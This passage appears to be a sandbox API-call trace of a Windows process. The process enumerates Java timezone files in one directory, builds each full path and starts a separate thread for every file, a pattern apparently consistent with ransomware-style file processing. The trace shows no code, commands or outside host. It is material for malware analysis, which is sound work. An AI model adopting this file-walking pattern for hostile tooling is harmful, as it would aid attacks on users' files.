[0159.768] wcscmp (_String1="Omsk", _String2="..") returned 1 [0159.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b7c1b10 [0159.769] wcscpy (in: _Dest=0x1b7c1b10, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.769] wcscat (in: _Dest=0x1b7c1b10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.769] wcscat (in: _Dest=0x1b7c1b10, _Source="Omsk" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Omsk") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Omsk" [0159.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28a0 [0159.769] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oral", cAlternateFileName="")) returned 1 [0159.769] wcscmp (_String1="Oral", _String2=".") returned 1 [0159.769] wcscmp (_String1="Oral", _String2="..") returned 1 [0159.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b7c1cd0 [0159.770] wcscpy (in: _Dest=0x1b7c1cd0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.770] wcscat (in: _Dest=0x1b7c1cd0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.770] wcscat (in: _Dest=0x1b7c1cd0, _Source="Oral" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Oral") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Oral" [0159.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c1cd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28a4 [0159.770] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Phnom_Penh", cAlternateFileName="PHNOM_~1")) returned 1 [0159.770] wcscmp (_String1="Phnom_Penh", _String2=".") returned 1 [0159.770] wcscmp (_String1="Phnom_Penh", _String2="..") returned 1 [0159.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cdb7cf0 [0159.771] wcscpy (in: _Dest=0x1cdb7cf0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.771] wcscat (in: _Dest=0x1cdb7cf0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.771] wcscat (in: _Dest=0x1cdb7cf0, _Source="Phnom_Penh" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Phnom_Penh") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Phnom_Penh" [0159.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb7cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28a8 [0159.771] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pontianak", cAlternateFileName="PONTIA~1")) returned 1 [0159.771] wcscmp (_String1="Pontianak", _String2=".") returned 1 [0159.772] wcscmp (_String1="Pontianak", _String2="..") returned 1 [0159.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1cdb7d70 [0159.772] wcscpy (in: _Dest=0x1cdb7d70, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.772] wcscat (in: _Dest=0x1cdb7d70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.772] wcscat (in: _Dest=0x1cdb7d70, _Source="Pontianak" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Pontianak") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Pontianak" [0159.772] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb7d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28ac [0159.773] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x65, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pyongyang", cAlternateFileName="PYONGY~1")) returned 1 [0159.773] wcscmp (_String1="Pyongyang", _String2=".") returned 1 [0159.773] wcscmp (_String1="Pyongyang", _String2="..") returned 1 [0159.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1cdb7df0 [0159.773] wcscpy (in: _Dest=0x1cdb7df0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.773] wcscat (in: _Dest=0x1cdb7df0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.773] wcscat (in: _Dest=0x1cdb7df0, _Source="Pyongyang" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Pyongyang") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Pyongyang" [0159.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb7df0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28b0 [0159.774] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Qatar", cAlternateFileName="")) returned 1 [0159.774] wcscmp (_String1="Qatar", _String2=".") returned 1 [0159.774] wcscmp (_String1="Qatar", _String2="..") returned 1 [0159.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b864370 [0159.774] wcscpy (in: _Dest=0x1b864370, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.774] wcscat (in: _Dest=0x1b864370, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.774] wcscat (in: _Dest=0x1b864370, _Source="Qatar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Qatar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Qatar" [0159.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b864370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28b4 [0159.775] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Qyzylorda", cAlternateFileName="QYZYLO~1")) returned 1 [0159.775] wcscmp (_String1="Qyzylorda", _String2=".") returned 1 [0159.775] wcscmp (_String1="Qyzylorda", _String2="..") returned 1 [0159.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1cdb7e70 [0159.775] wcscpy (in: _Dest=0x1cdb7e70, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.775] wcscat (in: _Dest=0x1cdb7e70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.775] wcscat (in: _Dest=0x1cdb7e70, _Source="Qyzylorda" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Qyzylorda") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Qyzylorda" [0159.775] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb7e70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28b8 [0159.776] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rangoon", cAlternateFileName="")) returned 1 [0159.776] wcscmp (_String1="Rangoon", _String2=".") returned 1 [0159.776] wcscmp (_String1="Rangoon", _String2="..") returned 1 [0159.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1cdb7ef0 [0159.776] wcscpy (in: _Dest=0x1cdb7ef0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.776] wcscat (in: _Dest=0x1cdb7ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.776] wcscat (in: _Dest=0x1cdb7ef0, _Source="Rangoon" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Rangoon") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Rangoon" [0159.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb7ef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28bc [0159.777] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Riyadh", cAlternateFileName="")) returned 1 [0159.777] wcscmp (_String1="Riyadh", _String2=".") returned 1 [0159.777] wcscmp (_String1="Riyadh", _String2="..") returned 1 [0159.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b864220 [0159.777] wcscpy (in: _Dest=0x1b864220, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.778] wcscat (in: _Dest=0x1b864220, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.778] wcscat (in: _Dest=0x1b864220, _Source="Riyadh" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Riyadh") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Riyadh" [0159.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b864220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c0 [0159.778] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x12d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Riyadh87", cAlternateFileName="")) returned 1 [0159.778] wcscmp (_String1="Riyadh87", _String2=".") returned 1 [0159.778] wcscmp (_String1="Riyadh87", _String2="..") returned 1 [0159.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1cdb7f70 [0159.778] wcscpy (in: _Dest=0x1cdb7f70, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.778] wcscat (in: _Dest=0x1cdb7f70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.779] wcscat (in: _Dest=0x1cdb7f70, _Source="Riyadh87" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Riyadh87") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Riyadh87" [0159.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb7f70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c4 [0159.779] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x127d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Riyadh88", cAlternateFileName="")) returned 1 [0159.779] wcscmp (_String1="Riyadh88", _String2=".") returned 1 [0159.779] wcscmp (_String1="Riyadh88", _String2="..") returned 1 [0159.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1cdb7ff0 [0159.779] wcscpy (in: _Dest=0x1cdb7ff0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.779] wcscat (in: _Dest=0x1cdb7ff0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.780] wcscat (in: _Dest=0x1cdb7ff0, _Source="Riyadh88" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Riyadh88") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Riyadh88" [0159.780] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb7ff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c8 [0159.780] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x129d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Riyadh89", cAlternateFileName="")) returned 1 [0159.780] wcscmp (_String1="Riyadh89", _String2=".") returned 1 [0159.780] wcscmp (_String1="Riyadh89", _String2="..") returned 1 [0159.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1cdb8070 [0159.781] wcscpy (in: _Dest=0x1cdb8070, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.781] wcscat (in: _Dest=0x1cdb8070, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.781] wcscat (in: _Dest=0x1cdb8070, _Source="Riyadh89" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Riyadh89") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Riyadh89" [0159.781] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb8070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28cc [0159.782] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sakhalin", cAlternateFileName="")) returned 1 [0159.782] wcscmp (_String1="Sakhalin", _String2=".") returned 1 [0159.782] wcscmp (_String1="Sakhalin", _String2="..") returned 1 [0159.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1cdb80f0 [0159.782] wcscpy (in: _Dest=0x1cdb80f0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.782] wcscat (in: _Dest=0x1cdb80f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.782] wcscat (in: _Dest=0x1cdb80f0, _Source="Sakhalin" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Sakhalin") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Sakhalin" [0159.782] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb80f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28d0 [0159.783] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x105, dwReserved0=0x0, dwReserved1=0x0, cFileName="Samarkand", cAlternateFileName="SAMARK~1")) returned 1 [0159.783] wcscmp (_String1="Samarkand", _String2=".") returned 1 [0159.783] wcscmp (_String1="Samarkand", _String2="..") returned 1 [0159.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1cdb8170 [0159.783] wcscpy (in: _Dest=0x1cdb8170, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.783] wcscat (in: _Dest=0x1cdb8170, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.783] wcscat (in: _Dest=0x1cdb8170, _Source="Samarkand" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Samarkand") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Samarkand" [0159.783] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb8170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28d4 [0159.784] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seoul", cAlternateFileName="")) returned 1 [0159.784] wcscmp (_String1="Seoul", _String2=".") returned 1 [0159.784] wcscmp (_String1="Seoul", _String2="..") returned 1 [0159.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b863c00 [0159.784] wcscpy (in: _Dest=0x1b863c00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.784] wcscat (in: _Dest=0x1b863c00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.784] wcscat (in: _Dest=0x1b863c00, _Source="Seoul" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Seoul") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Seoul" [0159.785] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b863c00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28d8 [0159.785] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shanghai", cAlternateFileName="")) returned 1 [0159.785] wcscmp (_String1="Shanghai", _String2=".") returned 1 [0159.785] wcscmp (_String1="Shanghai", _String2="..") returned 1 [0159.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1cdb81f0 [0159.786] wcscpy (in: _Dest=0x1cdb81f0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.786] wcscat (in: _Dest=0x1cdb81f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.786] wcscat (in: _Dest=0x1cdb81f0, _Source="Shanghai" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Shanghai") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Shanghai" [0159.786] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, 